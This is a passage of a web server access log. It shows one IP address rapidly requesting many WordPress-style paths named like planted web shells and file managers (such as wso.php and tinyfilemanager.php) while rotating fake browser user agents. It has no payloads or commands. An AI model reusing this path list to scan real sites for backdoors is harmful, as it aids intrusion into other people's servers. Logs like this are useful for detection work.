/filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:52 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:53 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:54 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 